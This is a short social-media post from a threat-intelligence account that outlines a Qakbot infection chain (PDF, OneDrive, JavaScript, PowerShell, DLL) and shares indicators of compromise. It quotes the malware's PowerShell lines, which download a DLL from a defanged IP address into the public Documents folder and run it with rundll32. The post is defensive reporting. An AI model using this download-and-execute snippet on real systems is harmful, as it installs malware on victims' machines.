proxylife on Twitter: "#Qakbot - BB17 - .pdf > Onedrive > .js > .ps > .dll wscript Document#33088.DOCX .js powershell $path = "C:\Users\Public\Documents\ssd.dll"; $url1 = 'http://138.197.74.]198/eRV/020'; $web.DownloadFile($url, $path); rundll32.exe ssd.dll,RS32 IOC's https://t.co/bjyyBDwdeU https://t.co/0QiS3nVy8a" / Twitter